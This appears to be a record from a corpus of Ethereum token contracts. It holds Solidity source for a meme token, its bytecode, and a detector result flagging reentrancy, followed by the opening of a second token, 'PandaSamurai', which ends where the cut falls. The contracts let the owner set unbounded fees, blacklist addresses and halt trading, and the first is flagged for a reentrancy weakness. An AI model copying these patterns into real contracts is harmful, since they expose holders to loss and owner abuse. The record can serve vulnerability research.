IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055b578063dd62ed3e1461057b578063ea1644d5146105c1578063f2fde38b146105e157600080fd5b8063a2a957bb146104d6578063a9059cbb146104f6578063bfd7928414610516578063c3c8cd801461054657600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b657600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611965565b610601565b005b34801561020a57600080fd5b5060408051808201909152600a8152692237b3b2b0b730ba37b960b11b60208201525b60405161023a9190611a2a565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a7f565b6106a0565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611aab565b6106b7565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611aec565b610720565b34801561036e57600080fd5b506101fc61037d366004611b19565b61076b565b34801561038e57600080fd5b506101fc6107b3565b3480156103a357600080fd5b506102c26103b2366004611aec565b6107fe565b3480156103c357600080fd5b506101fc610820565b3480156103d857600080fd5b506101fc6103e7366004611b34565b610894565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611aec565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b19565b6108c3565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b5060408051808201909152600a8152692227a3a2a0a720aa27a960b11b602082015261022d565b3480156104c257600080fd5b506101fc6104d1366004611b34565b61090b565b3480156104e257600080fd5b506101fc6104f1366004611b4d565b61093a565b34801561050257600080fd5b50610263610511366004611a7f565b610978565b34801561052257600080fd5b50610263610531366004611aec565b60106020526000908152604090205460ff1681565b34801561055257600080fd5b506101fc610985565b34801561056757600080fd5b506101fc610576366004611b7f565b6109d9565b34801561058757600080fd5b506102c2610596366004611c03565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cd57600080fd5b506101fc6105dc366004611b34565b610a7a565b3480156105ed57600080fd5b506101fc6105fc366004611aec565b610aa9565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161062b90611c3c565b60405180910390fd5b60005b815181101561069c5760016010600084848151811061065857610658611c71565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069481611c9d565b915050610637565b5050565b60006106ad338484610b93565b5060015b92915050565b60006106c4848484610cb7565b610716843361071185604051806060016040528060288152602001611db7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f3565b610b93565b5060019392505050565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161062b90611c3c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107955760405162461bcd60e51b815260040161062b90611c3c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e857506013546001600160a01b0316336001600160a01b0316145b6107f157600080fd5b476107fb8161122d565b50565b6001600160a01b0381166000908152600260205260408120546106b190611267565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161062b90611c3c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161062b90611c3c565b601655565b6000546001600160a01b031633146108ed5760405162461bcd60e51b815260040161062b90611c3c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161062b90611c3c565b601855565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161062b90611c3c565b600893909355600a91909155600955600b55565b60006106ad338484610cb7565b6012546001600160a01b0316336001600160a01b031614806109ba57506013546001600160a01b0316336001600160a01b0316145b6109c357600080fd5b60006109ce306107fe565b90506107fb816112eb565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161062b90611c3c565b60005b82811015610a74578160056000868685818110610a2557610a25611c71565b9050602002016020810190610a3a9190611aec565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6c81611c9d565b915050610a06565b50505050565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161062b90611c3c565b601755565b6000546001600160a01b03163314610ad35760405162461bcd60e51b815260040161062b90611c3c565b6001600160a01b038116610b385760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062b565b6001600160a01b038216610c565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062b565b6001600160a01b038216610d7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062b565b60008111610ddf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062b565b6000546001600160a01b03848116911614801590610e0b57506000546001600160a01b03838116911614155b156110ec57601554600160a01b900460ff16610ea4576000546001600160a01b03848116911614610ea45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062b565b601654811115610ef65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3857506001600160a01b03821660009081526010602052604090205460ff16155b610f905760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062b565b6015546001600160a01b038381169116146110155760175481610fb2846107fe565b610fbc9190611cb8565b106110155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062b565b6000611020306107fe565b6018546016549192508210159082106110395760165491505b8080156110505750601554600160a81b900460ff16155b801561106a57506015546001600160a01b03868116911614155b801561107f5750601554600160b01b900460ff165b80156110a457506001600160a01b03851660009081526005602052604090205460ff16155b80156110c957506001600160a01b03841660009081526005602052604090205460ff16155b156110e9576110d7826112eb565b4780156110e7576110e74761122d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112e57506001600160a01b03831660009081526005602052604090205460ff165b8061116057506015546001600160a01b0385811691161480159061116057506015546001600160a01b03848116911614155b1561116d575060006111e7565b6015546001600160a01b03858116911614801561119857506014546001600160a01b03848116911614155b156111aa57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d557506014546001600160a01b03858116911614155b156111e757600a54600c55600b54600d555b610a7484848484611474565b600081848411156112175760405162461bcd60e51b815260040161062b9190611a2a565b5060006112248486611cd0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069c573d6000803e3d6000fd5b60006006548211156112ce5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062b565b60006112d86114a2565b90506112e483826114c5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133357611333611c71565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138757600080fd5b505afa15801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf9190611ce7565b816001815181106113d2576113d2611c71565b6001600160a01b0392831660209182029290920101526014546113f89130911684610b93565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611431908590600090869030904290600401611d04565b600060405180830381600087803b15801561144b57600080fd5b505af115801561145f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148157611481611507565b61148c848484611535565b80610a7457610a74600e54600c55600f54600d55565b60008060006114af61162c565b90925090506114be82826114c5565b9250505090565b60006112e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166c565b600c541580156115175750600d54155b1561151e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115478761169a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157990876116f7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a89086611739565b6001600160a01b0389166000908152600260205260409020556115ca81611798565b6115d484836117e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161991815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164782826114c5565b82101561166357505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168d5760405162461bcd60e51b815260040161062b9190611a2a565b5060006112248486611d75565b60008060008060008060008060006116b78a600c54600d54611806565b92509250925060006116c76114a2565b905060008060006116da8e87878761185b565b919e509c509a509598509396509194505050505091939550919395565b60006112e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f3565b6000806117468385611cb8565b9050838110156112e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062b565b60006117a26114a2565b905060006117b083836118ab565b306000908152600260205260409020549091506117cd9082611739565b30600090815260026020526040902055505050565b6006546117ef90836116f7565b6006556007546117ff9082611739565b6007555050565b6000808080611820606461181a89896118ab565b906114c5565b90506000611833606461181a8a896118ab565b9050600061184b826118458b866116f7565b906116f7565b9992985090965090945050505050565b600080808061186a88866118ab565b9050600061187888876118ab565b9050600061188688886118ab565b905060006118988261184586866116f7565b939b939a50919850919650505050505050565b6000826118ba575060006106b1565b60006118c68385611d97565b9050826118d38583611d75565b146112e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fb57600080fd5b803561196081611940565b919050565b6000602080838503121561197857600080fd5b823567ffffffffffffffff8082111561199057600080fd5b818501915085601f8301126119a457600080fd5b8135818111156119b6576119b661192a565b8060051b604051601f19603f830116810181811085821117156119db576119db61192a565b6040529182528482019250838101850191888311156119f957600080fd5b938501935b82851015611a1e57611a0f85611955565b845293850193928501926119fe565b98975050505050505050565b600060208083528351808285015260005b81811015611a5757858101830151858201604001528201611a3b565b81811115611a69576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9257600080fd5b8235611a9d81611940565b946020939093013593505050565b600080600060608486031215611ac057600080fd5b8335611acb81611940565b92506020840135611adb81611940565b929592945050506040919091013590565b600060208284031215611afe57600080fd5b81356112e481611940565b8035801515811461196057600080fd5b600060208284031215611b2b57600080fd5b6112e482611b09565b600060208284031215611b4657600080fd5b5035919050565b60008060008060808587031215611b6357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9457600080fd5b833567ffffffffffffffff80821115611bac57600080fd5b818601915086601f830112611bc057600080fd5b813581811115611bcf57600080fd5b8760208260051b8501011115611be457600080fd5b602092830195509350611bfa9186019050611b09565b90509250925092565b60008060408385031215611c1657600080fd5b8235611c2181611940565b91506020830135611c3181611940565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb157611cb1611c87565b5060010190565b60008219821115611ccb57611ccb611c87565b500190565b600082821015611ce257611ce2611c87565b500390565b600060208284031215611cf957600080fd5b81516112e481611940565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d545784516001600160a01b031683529383019391830191600101611d2f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db157611db1611c87565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122027b40715caadc0d0d21debffe617aeb9849958bd1caf4faf94b6bb8cacd4393064736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,889
0x4a47aacabb47ef9d1aae8cfa502aa30917763b1a
/** *Submitted for verification at Etherscan.io on 2022-01-02 */ // Telegram: https://t.me/panduraitoken // Web: https://pandurai.space/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract PandaSamurai is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "PandaSamurai"; string private constant _symbol = "PANDURAI"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 1; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 25000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 